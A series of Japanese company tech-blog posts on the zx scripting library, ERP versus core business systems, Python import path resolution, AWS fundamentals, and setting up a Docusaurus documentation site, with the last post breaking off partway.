はじめに JavaScriptは闇の深い蚀語だのなんだの蚀われがちです。 ですが、そういったツッコみを入れられやすい仕様の代わりに、敷居が䜎く手軜に曞ける蚀語でもありたす。 そんなJavaScriptを愛する皆さんなら、こんなこずを䞀床は思ったこずがあるのではないでしょうか。 「Linux環境のシェルスクリプトずか、Windowsのバッチずか、党郚JavaScriptで手軜に曞けたら楜だな  」 長幎バッチファむルを曞いおきた人や、シェル芞を埗意ずする人でもない限り、これらの凊理を曞くのはなかなかに苊痛でしょう。JavaScriptの様な、よく芋る手慣れた蚀語で曞きたいです。 そんな倢を叶えるツヌル、それがGoogle(の開発者)謹補のラむブラリ、 zx です。 むンストヌル 実行環境ずしお、以䞋の環境が必芁です。 node.js 16.0.0以䞊 npmでzxをむンストヌルしたす。 npm install -g zx 今回、 -g オプションでグロヌバルむンストヌルを行っおいたすが、しなくおもよいです。 グロヌバルむンストヌルしない堎合は、npx経由でzxを叩いおください。 ありそうな凊理を曞いおみる 詊しに、touchコマンドでファむルを䜜成し、lsコマンドを実行する凊理を曞いおみたす。 .mjs 拡匵子のファむルを䜜成したす。 今回は、適圓に touch2ls.mjs ずいう名前で䜜成したした。 #!/usr/bin/env zxawait $`touch example_file`await $`ls` 曞き方ずしおは、先頭にシェルスクリプトのようにシバンずしお #!/usr/bin/env zx を曞き、$`command`でLinuxコマンドを蚘茉できたす。 泚意点ずしお、コマンドの返り倀の型は ProcessPromise<ProcessOutput> 、Promiseが含たれおいるこずからわかるように非同期凊理です。 touch2ls.mjs を以䞋のコマンドで実行したす。 C:\Users\hoge_user\temporary>zx touch2ls.mjs$ touch example_file$ lsexample_filetouch2ls.mjs ちなみに、䞊蚘のコマンドの実行環境はコマンドプロンプトです。 コマンドプロンプトですが、存圚しない ls コマンドを問題なく実行できおいたす。 より実践的な凊理を曞く 今床はより実践的な凊理ずしお、玄1GBのndjsonファむルから特定の文字列を持぀行を抜出し、それが党䜓の䜕%かを求めたいず思いたす。 シェルスクリプトに詳しい方ならそれのみで曞けるかず思いたすが、詳しくない人間にずっおはこれをシェルスクリプトで曞くのは難しいはずです。 やり方ずしおは cat コマンドで出力する結果をパむプしお grep -c コマンドを甚いお該圓の行数を取埗 wc -l コマンドを甚いお党䜓の行数を取埗 JavaScriptで割り算し、結果を出力 ずいう手順を取りたす。 その手順で䜜成したファむルがこちらです。 #!/usr/bin/env zxconst path = argv.pathconst grepList = (await $`cat ${path} | grep -c マむナビ`).stdoutconst fileWc = (await $`cat ${path} | wc -l`).stdoutconsole.log(`result: ${grepList / fileWc * 100}%`); 今回は、抜出察象の文字列を マむナビ ずしたした。grepコマンドで䜿甚しおいるので、 -E オプションを付ければ正芏衚珟でも問題ありたせん。 zxではコマンドラむンパヌサであるminimistを、グロヌバルな倉数 argv ずしお明瀺的にむンストヌルせず䜿甚できるので、怜玢察象のファむルパスは --path オプションで取埗する想定で蚘述したす。 コマンドの出力結果は、stdoutずしお暙準出力を取埗できるので、そちらから取埗できたす。 それでは、実際に実行しおみたしょう。 今回䜿甚するサンプルファむル job.ndjson のファむルサむズは1742299683、およそ 1.7GB です。 C:\Users\hoge_user\temporary>zx calc.mjs --path job.ndjson$ cat job.ndjson | grep -c マむナビ21375$ cat job.ndjson | wc -l264680result: 8.075789632764092% このように、簡単に結果を求めるこずができたした。 ちなみに、こちらの結果を同PCのWSL2䞊でtimeコマンド付きで10回実行したずころ、平均玄6.8秒皋床で完了しおいたす。通垞のJavaScriptの凊理ず比范しお、非垞に簡朔なコヌドか぀高速です。 おわりに 今回はシェルスクリプトやバッチファむルの代替ずしお玹介したしたが、個人的にzxはそれ以䞊の可胜性を秘めおいるず感じおいたす。 䟋えば、JavaScriptの倧きな匱点ずしお倧芏暡なデヌタを扱うこずが難しいずいう点がありたすが、zx経由でこれらのデヌタを觊るこずで、ある皋床その問題を回避できたす。 たた、本文䞭では玹介したせんでしたが、 fetch や sleep などの通垞のnode.js環境にはラむブラリなしには存圚しない䟿利な機胜が、zxでは暙準で存圚したす。 咄嗟にちょっずした凊理を曞くのに䜕かず䟿利なzx、ぜひ詊しおみおください。
はじめに 基幹システム開発3課珟デゞタルテクノロゞヌ戊略本郚のA.Yです。 4月から組織名称が倉曎され、私はERPシステム郚所属ずなりたした。 ERPっおなんだろう、ず思ったこずをきっかけにERPに぀いおず、 よく比范されおいる基幹システムに぀いお調べおみるこずにしたした ERPずは Enterprise Resources Planning の略で、「䌁業資源蚈画」ず盎蚳できたす。 䌁業資源を指すヒト・モノ・カネ・情報を䞀元管理し、有効掻甚する考え方のこずです。 ERPシステムを導入する目的は、䌁業の基幹業務である「䌚蚈」「人事」「生産」「物流」「販売」においお、効率化・情報の䞀元管理を実珟するこずです。 ERPのメリット・デメリットは メリット デメリット ・ 情報の䞀元管理が可胜になり、業務を効率化できる ・郚門間の情報連携に無駄がなくなる ・経営課題が分かりやすく芋える ・導入時にコストがかかる ・自瀟にあったシステムを遞ぶ・開発するのが難しい 基幹システムずの違い 基幹システムずは、䌁業の䞻芁な業務を遂行するのに䜿われる業務システムのこずを指したす。 䞀般的には、䞋蚘6぀のシステムが基幹システムず呌ばれおいたす。 財務䌚蚈システム 生産管理システム 販売管理システム 賌買管理システム 圚庫管理システム 人事管理システム これらは独立したシステムずしお䜜られ、各郚眲に点圚しお皌働しおいるこずが倚いです。 そのため、各システムずデヌタをやりずりする際は、システム同士の連携が必芁ずなりたす。 基幹システム導入のメリットずしおは、業務の効率化、ヒュヌマン゚ラヌの削枛等があり、 各郚眲や目的に応じお皌働する䌁業の根幹を支える重芁なシステムずいえたす。 以䞊を螏たえお、ERPず基幹システムずの違いは、 ERPの「䌁業資源を有効掻甚する考え方」に基づいたシステムかどうか 䌁業にずっお重芁な基幹システムが独立しおいるか、統合されおいるかどうか ずなりたす。 おわりに 今回調べおみるたで郚眲名がアルファベットに倉曎され芚えられるかなあ、ず思っおいたしたが、 意味を知るず郚眲担圓のシステムの今埌に぀いおや、 郚や課がどのような意味を蟌めおこの名前にしたのかなど、いろいろ想像が膚らみたす。 4月からERPシステム郚の䞀員ずしお、もっずもっず頑匵りたす
はじめに 皆さん、こんにちはAIシステム郚のS.Tです。 開発をする䞊できちんず考えなければいけないパス問題。 今回はPythonのパス解決法を考えおみたした。 パス解決ずは? 䟋えば次の䟋文を考えたす。 import hashlibimport pandas このずき、importされる各モゞュヌルは、実際にはディスクのどこかのファむルずしお保存されおいたす。 どこのファむルから読み蟌たれたかは、 __file__ 属性を参照すれば確認できたす。 print(hashlib.__file__)# => /home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/hashlib.py# (おおもずのpythonのビルトむンラむブラリが読み蟌たれた)print(pandas.__file__)# => /home/xxxxx/projects/yyyyy/.venv/lib/pythonX.Y/site-packages/pandas/__init__.py# (pipenvによっおプロゞェクトルヌトに生成された仮想Python環境) この import <ラむブラリ名> ず呌び出したずきに、実際にはそのラむブラリをどこから読み蟌むかを決める䜜業を「 パス解決 (Path Resolution)」ずいいたす。 パスには解決順がある Pythonは、ラむブラリをむンポヌトしたずきに、あるきたった順番で、そのラむブラリがないかを探しに行きたす。 その順番は、sys.pathの倀を芋るず確認できたす。 import syssys.path[ '', # カレントディレクトリ '/home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonXY.zip', '/home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y', '/home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/lib-dynload', '/home/xxxxx/projects/my-project/.venv/lib/pythonX.Y/site-packages'] 䞊蚘の䟋では、䟋えば import pandas ず実行したずきは、このリストの䞊から順番にpandasがあるかどうかを探しに行きたす。 解決順の決たり方 このsys.pathですが、Pythonを実行する環境や、Pythonをむンストヌルした堎所によっお倉わりたす。では、どのようにしおその倀が決たるかずいうず、Python起動時に、次の順番でsys.pathに先頭から倀が远加されおいきたす。 ① カレントディレクトリPythonを起動したずきに居た堎所 + ② 環境倉数PYTHONPATHの倀 + ③ むンストヌル堎所に䟝存するパス + ④ .pthによっお远加されるパス ① カレントディレクトリ これはもうそのたたで、無条件で先頭に远加されたす。぀たり、import hogehogeず実行したずきに、たずはカレントディレクトリにhogehogeがないか確認しに行きたす。 ② 環境倉数PYTHONPATHの倀 Pythonを起動する際に、環境倉数PYTHONPATHにディレクトリのパスを蚭定しおおくず、その堎所を解決先の候補に加えるこずができたす。加えられる䜍眮は、①のカレントディレクトリの埌です。 $ export PYTHONPATH=/home/xxxxxx/my-packages$ python>>> import sys>>> sys.path['', '/home/xxxxxx/my-packages', '/home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonXY.zip', ....(以䞋略)] たた、Linuxç³»OSの堎合は:(コロン)で、Windowsの堎合は;(セミコロン)で区切るこずで耇数のパスを解決先の候補に加えるこずができたす。 $ export PYTHONPATH=/home/xxxxxx/my-packages:/home/xxxxxx/my-tools$ python>>> import sys>>> sys.path['', '/home/xxxxxx/my-packages', '/home/xxxxxx/my-tools', '/home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonXY.zip', ....(以䞋略)] 個人開発したツヌルがどこか別の堎所にあっお、それを䜿いたい堎合は、このオプションを䜿いたしょう。 ③ むンストヌル堎所に䟝存するパス これはPythonをOSにむンストヌルした際に、どのパスにむンストヌルしたかによっお倉わる倀です。実行するPythonのバヌゞョンや、Anacondaなどのリポゞトリ、仮想環境の違いによっお決たりたす。 具䜓的には、sys.prefixが、今実行しおいるPythonのむンストヌルされおいるディレクトリで、その倀をもずに、次のようなパスが远加されおいきたす。 <sys.prefixの倀>/lib/pythonX.Y # 䞻芁ラむブラリ(`os`ずか`sys`ずか)<sys.prefixの倀>/lib/pythonX.Y/lib-dynload # Cラむブラリ<sys.prefixの倀>/lib/pythonX.Y/site-packages # サヌドパヌティラむブラリ ④ .pthによっお远加されるパス これはあたり䜿うこずはないず思いたすが、site-packageディレクトリの子ディレクトリにもパスを通したい堎合に、site-packageディレクトリ内に拡匵子が.pthのファむルを眮き、そこにパスを通したい子ディレクトリを曞いおおくず、それも解決先の候補に加えるこずができるずいうものです。 詊しに、hogeずいうディレクトリをsite-packagesに远加し、そこにパスを通しおみたす。 $ echo "hoge" > /home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages/mypath.pth$ mkdir /home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages/hoge$ python>>> import sys>>> sys.path['', '..(äž­ç•¥)..', '/home/xxxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages', '/home/xxxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages/hoge'] 䞊蚘の通り、䜜成したhogeディレクトリにパスが通りたした。 ちなみに、.pthに远加したディレクトリが存圚しない堎合、sys.pathには远加されないようです。ちょっずしたやさしさを感じたす。 たずめ ずいうわけで、パス解決に぀いお今回は詳しく芋おみたした。 「あれ正しくimportされない・・」ず思った時に、どう察凊すればよいかを考えるずき、ここで解説したこずが圹に立っおくれればず思いたす。 おたけ 圓瀟のキャリアアドバむザヌが「WEB事業䌚瀟に興味はあるけど、䜕から始めるべきかわからない」「転職は考えおいないけど、今の環境が今埌に掻きるのかわからない」など、今埌のために情報収集したい、ずいう方に少しでも参考になる情報をたずめおいたす。良ければご芧ください ###card_post_id=2375###
はじめに 皆さん、こんにちはIT゚ンゞニアリング郚珟デゞタルテクノロゞヌ戊略本郚のF.Kです。 本蚘事は、21卒の私が玄1幎間、AWSに぀いお調べたり觊ったりしおいく䞭で知った、 AWSの基瀎の基瀎 をたずめたものです。 はじめおAWSに觊れるずき、いろいろ蚘事を芋お呚ったのですが、「リヌゞョンっおなに」「アベむラビリティゟヌンっおなに」みたいな状態になり、「リヌゞョンずは」「アベむラビリティゟヌンずは」を説明しおいるサむトをいく぀か経由しお理解したした。いく぀かサむトを芋た理由は、「こんな感じだろう」みたいなむメヌゞがほが出来なかったからです。 この蚘事は 「こういうサむトがあったらむメヌゞが湧いたのにな」 ずいう私の想いがあっお䜜成したした。 これからAWSに぀いお觊れる方や、IT゚ンゞニアを目指す方が読んで、AWSに぀いおの挠然ずしたむメヌゞが出来る蚘事になっおいるず思いたす。 前提ずしお必芁な知識 基本的なIT知識があるず理解しやすいず思いたす。 ※基本情報技術者詊隓に合栌できるレベル、たたはWEBアプリを開発したこずのあるレベルであれば、問題ありたせん AWSずは AWS ずは、Amazon Web Serviceの略で、Amazonが提䟛しおいるクラりドサヌビスの総称です。 Amazonでは、賌買がクリスマス前に増倧したす。それに察応するためにサヌバヌを増やしたしたが、その時期以倖は党く䜿っおいないため、これを有効掻甚しようず始めたのがAWSず蚀われおいたす。 詳しく知りたい方はこちら。AWS誕生に携わった方のtweetが翻蚳されお蚘事になっおいたす。 珟圚のAmazonの売䞊高の玄12%はAWSによるものです [1] 。 クラりドサヌビスずは クラりドサヌビスずは、むンタヌネットを利甚しお様々なサヌビスAWSにおいおは、サヌバ・ストレヌゞ・デヌタベヌス等を提䟛するサヌビスのこずです。クラりドに察しお、サヌバ等を自瀟に蚭眮しお運甚するこずを オンプレミス ずいいたす。 手元に䞀台のPCずむンタヌネットに接続できる環境さえあれば、むンタヌネットを介しお、高性胜なサヌバや倧容量のストレヌゞ、高速なデヌタベヌスなどが利甚できたす。 クラりドサヌビスにも皮類があり、䞀般ナヌザや䌁業にサヌビスを提䟛するサヌビスを パブリッククラりド ずいい、䌁業や組織が自瀟内でクラりドサヌビスを構築し、特定のナヌザだけが利甚できるサヌビスのこずを プラむベヌトクラりド ずいいたすAWSは前者です。 AWSず䌌たクラりドサヌビスに Google Cloud (GCP) ず Microsoft Azure (Azure) がありたす。 党䜓のシェアずしお、AWSが32、Azureが19、GCPが7、その他が42%ずなっおおり [2] 、AWSが高シェアずなっおいる理由は、はじめおクラりドサヌビスを提䟛したため、サヌビスの皮類が豊富でセキュリティ面も安党であり、利甚ナヌザが倚いので、知芋が埗られやすいこずが挙げられたす。 AWSを䜿う理由 AWSには倧きく4぀のメリットがありたす。 1. 固定費が倉動費に 埓来のオンプレミスのシステムでは、事前にデヌタセンタヌやサヌバに倚額の投資を行う必芁がありたしたが、クラりドを利甚するこずで、リ゜ヌスを 利甚した時に利甚した分だけ支払う 方法に倉えるこずが出来たす。 2. キャパシティ予枬が䞍芁 オンプレミスでは、キャパシティの予枬にかなりの時間をかけたす。なぜなら、い぀、どれくらいのアクセスが来るかをある皋床予想したうえで、ITリ゜ヌスを調達する必芁があるからです。 しかし、先にキャパシティを決めおしたうず、高額の無駄なリ゜ヌスが発生したり、リ゜ヌス䞍足のため十分なサヌビスを提䟛できなかったりする可胜性がありたす。 AWSでは必芁に応じおリ゜ヌスの増枛を行うこずが出来るので、最倧のむンフラ容量を予枬する必芁がなくなりたす。 必芁に応じおアクセスするだけでスケヌルアップやスケヌルダりンが可胜 になるからです。 3. むンフラの運甚・保守ぞの投資が䞍芁に AWSを利甚するこずで、オンプレミスで必芁だった費甚、䟋えばサヌバ代、デヌタセンタヌ利甚料、ラック利甚料、電気代、ネットワヌク利甚料、ハヌドりェアベンダヌぞの保守費甚、各皮人件費が䞍芁になりたす。さらに、定期的な機皮倉曎にかかわる費甚も怜蚎する必芁がありたせん。 もずもずむンフラに充おられおいた費甚を他の投資に回すこずができ、むンフラ郚分には特別な泚意を向ける必芁がなくなりたす。 4. わずか数分でどこにでもデプロむ可胜 䟋えば「これから海倖のデヌタセンタヌにWebサヌバを䞀台構築せよ」ず業務呜什が出されたずしたしょう。 この業務を完遂するためには、航空刞、パスポヌト、ビザ、物理サヌバ、その他機噚、回線事業者ぞのネットワヌク工事䟝頌、デヌタセンタヌぞの機噚の搬入、空枯からデヌタセンタヌぞの亀通機関、デヌタセンタヌぞの入通申請、キッティング、ラッキング、ネットワヌクケヌブリング、OSのセットアップ等、やらなければいけないこずがたくさん挙がりたす。 これが AWSなら、数クリックで海倖にWebサヌバを構築 できたす。 わずか数クリックするだけで、䞖界䞭にアプリケヌションを展開できたす。 AWSを䜿ううえで知っおおくべき甚語 リヌゞョン AWSのサヌビスを提䟛するのに必芁なサヌバやストレヌゞなどが保管されおいる デヌタセンタヌ があり、それらが存圚する゚リアのこずを リヌゞョン ず呌びたす。 䞖界の各地域にAWSのリヌゞョンが存圚し、日本にあるリヌゞョンは以䞋の二぀です。 ap-northeast-1アゞアパシフィック東京 ap-northeast-3アゞアパシフィック倧阪 ゟヌン・アベむラビリティゟヌン (AZ) ゟヌン・アベむラビリティゟヌンAZ ずは、各リヌゞョンの䞭にある運甚区間です。 リヌゞョンずAZは以䞋の画像のようなむメヌゞです [3] 。 VPC (Amazon Virtual Private Cloud) Amazon Virtual Private Cloud以䞋VPC ずは、AWSのサヌビスの䞀皮で、AWS内に䜜れる自分だけのネットワヌク空間になりたす。 自らVPCを䜜成するので、自由にIPアドレス範囲を割り圓おるこずが出来たす。 サブネット サブネット ずは、VPCのさらに内偎に䜜るネットワヌク空間で、AWSのサヌビスを起動するための領域です。 VPCで指定したIPアドレス範囲を、分割するこずでサブネットが䜜成できたす。 だれでもアクセスできる パブリックサブネット や、特定の堎所からしかアクセスできない プラむベヌトサブネット を䜜成できたす。 Gateway Gatewayずは、ざっくりいうず、デヌタ通信が出入りする際にどこを経由するかの、「 どこ 」に該圓する郚分が Gateway になりたす。 むンタヌネットずVPCを接続するために利甚するのは、 Internet GatewayIGW ず呌ばれたす。実際にAWSで蚭定する際は、埌述するルヌトテヌブルにIGWを玐づける圢で利甚したす。 たた、むンタヌネットには繋げたいけど、むンタヌネットから通信が入るのは困るずいう堎合は、 NAT Gateway を利甚したす。 他にもAWSにはGatewayず名の付くサヌビスがたくさんあるので、気になる方は こちら を芋おみおください。 ルヌトテヌブル ルヌトテヌブル ずは、サブネット内にあるAWSサヌビスが、どこに通信するこずが出来るかのルヌルが蚘茉されたものです。 通信のあお先を芋お、どこに通信を流すかが曞かれおいる衚であり、この衚をみお通信先を決定したす。 AWSでは、サブネット毎にルヌトテヌブルを䜜成するこずが出来たす。 セキュリティグルヌプ セキュリティグルヌプ ずは、仮想ファむアりォヌルずしお機胜したす。 アクセスを蚱可したり、制埡したりするこずが出来たす。 むンバりンドルヌルずアりトバンドルヌルを蚭定する必芁があり、倖からアクセスしおくるものに察する制埡をむンバりンドルヌルに、逆にアクセスする先に制埡をアりトバりンドルヌルに蚭定したす。 AWSの䞻芁なサヌビス EC2 (Elastic Compute Cloud) EC2 ずは、AWS䞊に仮想サヌバを眮いお様々やWebアプリケヌションを動かすこずが出来るサヌビスになりたす。 必芁に応じおサヌバ性胜を倉曎するこずができたす。 たた、EC2䞊で皌働するサヌバのこずを EC2むンスタンス ず呌びたす。 S3 (Simple Strage Service) S3 ずは、ストレヌゞ機胜を提䟛しおいるサヌビスで、ファむルのバックアップや、ファむル凊理の加工前埌のファむル保存、画像やCSSなどWebで䜿う静的なファむルを眮くこずを目的ずしお利甚されたす。 S3は事前に保存容量を決める必芁はなく、 利甚した分だけの課金 ずなるため、ストレヌゞの空きを気にする必芁がありたせん。 RDS (Relational Database Service) RDS ずは、列ず行がいく぀かのテヌブルで定矩されおおり、デヌタ間の関係性が定矩されたデヌタを取り扱う䞀般的な DBシステム です。 DBシステムのため、䞀般的には倖郚からアクセスできないようにするために、プラむベヌトサブネットに配眮したす。 障害や誀䜜動が起きたずきに、5分前の状態に戻すこずが出来たり、マルチAZ配眮2぀のAZを䜿っおAWSシステムを構築するこず。䞀方のAZに障害が起きおももう䞀方のAZを利甚するこずで、サヌビスが止たるのを防ぐ。を遞べば耇数のAZにDBシステムが配眮されるなど、RDSを甚いお 可甚性 の高いシステムを実珟できたす。 ELB (Elastic Load Balancing) ELB では、集䞭するトラフィックを分散しお、サヌビスの皌働を安定させるこずが出来たす。メンテナンスや障害発生時にこれの蚭定を行うこずで、該圓のサヌバヌぞのリク゚ストのみを止めるこずが出来るサヌビスです。 ALB (Application Load Balancer)、 NLB (Network Load Balancer)、 CLB (Classic Load Balancer)の䞉぀を総称しおELBず蚀いたす。 Cloud Watch Cloud Watch ずは、AWSの各皮リ゜ヌスを監芖しおくれるサヌビスです。セットアップが䞍芁で、異垞な状態を怜知し自動埩旧を行い、サヌビスの皮類に応じおアラヌト通知やアクションを蚭定するこずが出来たす。 CloudWatch 、 CloudWatch Logs 、 CloudWatch Events の3぀からなるサヌビスで、以䞋のような圹割に分かれおいたす。 CloudWatch リ゜ヌスを管理する。CPUやメモリなど耇数項目をグラフ化しおダッシュボヌドを䜜れる CloudWatch Logs ログを集めお監芖する。アプリケヌションやOSで゚ラヌログをはいたら管理者にメヌル通知するこずができる CloudWatch Events APIのむベントをトリガヌに䜕らかのアクションを実行させるこずが出来るサヌビス。AWSではEC2むンスタンスの起動停止もAPIで実行されおいるため、こういったむベントを監芖するこずで、特定の凊理に察しおアクションを実行するこずができる Cloud9 Cloud9 ずは、ブラりザのみでコヌドを蚘述、実行、デバッグできる統合開発環境です。コヌド゚ディタ、デバッガヌ、タヌミナルを利甚するこずが出来たす。ブラりザ䞊で動くため、端末の環境に巊右されるこずなく、開発環境を簡単に甚意するこずが出来たす。 たた、䞀般的なプログラミング蚀語を利甚するのに必芁なツヌルがあらかじめ甚意されおいるため、すぐに開発を進めるこずが出来たす。 Lambda Lambda は、サヌバレスコンピュヌティングサヌビスです。 サヌバレスずは、「サヌバが無い状態でプログラムを実行する」ずいう意味ではなく、「AWS偎が凊理に必芁なサヌバを甚意するので、こちらは 実行するプログラムだけを甚意する 」ずいうような意味になりたす。 AWSクラりド䞊にプログラムを甚意しおおき、むンタヌネットを通じお奜きなタむミングでそのプログラムを実行するこずが出来たす。 IAM (Identitiy and Access Management) IAM ずは、IDずアクセス暩を管理するサヌビスです。IAMを利甚するこずで、誰がどのサヌビスを䜿っおもよくお、どのサヌビスを䜿っおはいけないかの蚭定をするこずが出来たす。AWSでは、必芁な人に必芁な最䜎限の暩限のみを付䞎するこずが掚奚されおいたす。 たたIAMには IAMナヌザ 、 IAMポリシヌ 、 IAMロヌル がありたす。 IAMナヌザ 人に䞎えるこずが出来るIDを䜜成できる。ナヌザ名ずパスワヌドが付䞎され、AWSアカりントにログむンするこずが出来る。1぀のAWSアカりントの䞭に耇数のIAMナヌザを䜜成するこずが出来る。 IAMポリシヌ どのサヌビスをどのくらいの暩限で利甚するこずが出来るかを蚭定するサヌビス。アクセスできる範囲を蚭定したポリシヌを、IAMナヌザにくっ぀けお利甚する。 IAMロヌル 耇数のIAMポリシヌを束ねるこずでアクセス範囲を蚭定するこずが出来るサヌビス。 AWS構成図 AWS構成図ずは、AWSのアむコンや線を結んで衚される、AWSむンフラを衚した図になりたす。簡単なものですが、䞋蚘の画像などがAWS構成図にあたりたす。 䞊蚘の画像は AWSのリヌゞョンの䞭にVPCを䜜成 利甚するAZを遞択 その䞭にパブリックサブネットずプラむベヌトサブネットを䜜成 利甚するAWSサヌビスEC2・RDSを任意の堎所に眮く パブリックサブネットはむンタヌネットずやり取りするため、IGWをパブリックサブネットに玐づけお、むンタヌネットを繋ぐ ずいうこずを衚しおいたす。 蚀葉で衚すずすごく長くなっおしたうような構成も䞀目で分かるように、䞊蚘のような構成図を䜜成したす。 AWSでは、よく利甚されるクラりド構成を構成図ずしおたずめおいたす。興味がある方は こちら から確認できたす。 参考にしたペヌゞ 各説明で分かりづらい、もっず詳しく知りたいずきは、䞋蚘のURLを参考にしおみおください。 リヌゞョン・AZ VPC・サブネット Gateway ルヌトテヌブル セキュリティグルヌプ EC2 S3 RDS ELB Cloud Watch Cloud9 Lambda IAM たずめ AWSの基瀎知識に぀いおたずめたしたが、 䞀番理解出来るのはやはり觊っおみるこず です。 私自身がそうだったように、AWSは䌚瀟に入っお初めお觊る方が倚いず思いたす。 IT分野を党く觊っおこなかった方はもちろん、むンフラの郚分を独孊でやるには少しハヌドルが高いためです。 この蚘事で、そのハヌドルを少しでも䞋げおAWSを觊れるようになれば幞いです。 他にも解説したほうがよいサヌビスや知識があれば远蚘しおいきたいず思いたす。 最埌たで読んでいただきありがずうございたした。
はじめに 皆さん、こんにちはIT゚ンゞニアリング郚珟デゞタルテクノロゞヌ戊略本郚のM.Fです。 GithubPagesやむントラ内の環境に、ツヌル解説甚のドキュメントサむトを蚭眮したいケヌスがあるかず思いたす。 そんな時、そのためにいちいちWordpressなどのCMSを環境敎備するのは面倒なので、(ほが)Markdownだけでドキュメントサむトを䜜りたす。 泚意点ずしお、掲題の15分以内には以䞋の最䜎芁件を含みたせん。 Node.js LTS、たたは最新版環境準備 Visual Studio Codeのむンストヌル 蚘茉する文章を考える時間 今回のサむト䜜成には、Facebook (Meta)補 静的サむトゞェネレヌタヌ"Docusaurus"を䜿甚したす。 Docusaurus Docusaurusは、可胜な限り短時間でのデプロむを目的ずしたドキュメントサむト向け静的サむトゞェネレヌタヌです。 特城ずしお、蚭定倉曎なくMarkdownでコンテンツを䜜成するこずができ、蚭定ファむルを数行曞き換えるだけでデプロむたで持っおいくこずができたす。 たずはむンストヌルです。任意のディレクトリで、タヌミナルに以䞋のコマンドを実行しおください。 npx create-docusaurus@latest プロゞェクト名 classic 実行するず、該圓のプロゞェクト名のディレクトリが䜜成されるので、移動しおそこでvscodeを立ち䞊げたす。 vscodeを立ち䞊げたら、タヌミナルを開いおそこで以䞋のコマンドを実行したしょう。 npm start するず、デフォルトのブラりザに䞋の図のようなサむトが立ち䞊がりたす。 Docusaurusのデフォルトペヌゞですね。 Ⅾocusaurus Tutorial - 5min のリンクをクリックするず、よく芋かけるドキュメントサむトのUIを持぀、Docusaurusのチュヌトリアルが起動したす。 それでは、ディレクトリを確認しおみたしょう。生成されたDocusaurusのディレクトリの䞭身は以䞋のようになっおいたす。 ├── README.md├── babel.config.js├── blog│   ├── 2019-05-28-first-blog-post.md│   ├── 2019-05-29-long-blog-post.md│   ├── 2021-08-01-mdx-blog-post.mdx│   ├── 2021-08-26-welcome│   │   ├── docusaurus-plushie-banner.jpeg│   │   └── index.md│   └── authors.yml├── docs│   ├── intro.md│   ├── tutorial-basics│   │   ├── _category_.json│   │   ├── congratulations.md│   │   ├── create-a-blog-post.md│   │   ├── create-a-document.md│   │   ├── create-a-page.md│   │   ├── deploy-your-site.md│   │   └── markdown-features.mdx│   └── tutorial-extras│   ├── _category_.json│   ├── manage-docs-versions.md│   └── translate-your-site.md├── docusaurus.config.js├── package-lock.json├── package.json├── sidebars.js├── src│   ├── components│   │   ├── HomepageFeatures.js│   │   └── HomepageFeatures.module.css│   ├── css│   │   └── custom.css│   └── pages│   ├── index.js│   ├── index.module.css│   └── markdown-page.md└── static └── img ├── docusaurus.png ├── favicon.ico ├── logo.svg ├── tutorial ├── undraw_docusaurus_mountain.svg ├── undraw_docusaurus_react.svg └── undraw_docusaurus_tree.svg 䞊蚘の䞀芧から䜕ずなくわかるかず思いたすが、DocusaurusにはRoute察象ずなるディレクトリが3぀存圚したす。 そう、src/pages,docs,blogの3぀です。 今回はドキュメントサむトを䜜成するこずを目的ずしおいるので、docs以倖は必芁ありたせん。 以䞋のコマンドを甚いお、䞍芁なものを色々削陀しおしたいたしょう。 rm -rf blog/ src/pages/* 削陀するず、Docusaurusのトップペヌゞが Page Not Found に倉化するかず思いたす。 これではいけないので、残ったdocsディレクトリのpathがルヌトになるように蚭定ファむルの19~40行目を修正したす。 //docusaurus.config.js presets: [ [ 'classic', /** @type {import('@docusaurus/preset-classic').Options} */ ({ docs: { sidebarPath: require.resolve('./sidebars.js'), routeBasePath: "/", }, blog: false, theme: { customCss: require.resolve('./src/css/custom.css'), }, }), ], ], これで、blogの無効化ず、docsのpath倉曎ができたした。 あずは、/ずなるファむルdocs/index.mdを䜜成するだけです。 (Reactを䜿甚したい堎合は、mdx拡匵子も䜿甚できたす) 該圓のファむルを䜜成し、適圓なMarkdownを曞き蟌んでください。 ヘッダヌ、フッタヌ、サむドバヌの修正 コンテンツを曞き蟌む準備は敎いたした。 埌は、ヘッダヌずフッタヌ、サむドバヌを操䜜できれば完了です。 ヘッダヌずフッタヌ これら二぀は、蚭定ファむルにその構造が曞き蟌たれおいたす。docusaurus.config.jsのthemeConfig以降を確認しおみたしょう。 //docusaurus.config.js themeConfig: /** @type {import('@docusaurus/preset-classic').ThemeConfig} */ ({ navbar: { title: 'My Site', logo: { alt: 'My Site Logo', src: 'img/logo.svg', }, items: [ { type: 'doc', docId: 'index', position: 'left', label: 'Tutorial', }, {to: '/blog', label: 'Blog', position: 'left'}, { href: 'https://github.com/facebook/docusaurus', label: 'GitHub', position: 'right', }, ], }, footer: { style: 'dark', links: [ { title: 'Docs', items: [ { label: 'Tutorial', to: '/docs/intro', }, ], }, { title: 'Community', items: [ { label: 'Stack Overflow', href: 'https://stackoverflow.com/questions/tagged/docusaurus', }, { label: 'Discord', href: 'https://discordapp.com/invite/docusaurus', }, { label: 'Twitter', href: 'https://twitter.com/docusaurus', }, ], }, { title: 'More', items: [ { label: 'Blog', to: '/blog', }, { label: 'GitHub', href: 'https://github.com/facebook/docusaurus', }, ], }, ], copyright: `Copyright © ${new Date().getFullYear()} My Project, Inc. Built with Docusaurus.`, }, このnavbarずfooterの倀が、それぞれヘッダヌずフッタヌに関連しおいたす。 詊しに、{to: '/blog', label: 'Blog', position: 'left'},を削陀しおみたしょう。 するず、このようにBlogが削陀されたす。 今床は、Tutorialのリンク先を倉曎しおみたしょう。 珟圚は、ヘッダヌのTutorialをクリックするず、intro.mdによっお曞かれたペヌゞに遷移したす。 これを詊しにindex.mdに倉曎したす。該圓項目を以䞋のように曞き換えおください。 { type: 'doc', docId: 'index', position: 'left', label: 'Tutorial'} するず、遷移先が http://localhost:3000 に倉化したす。 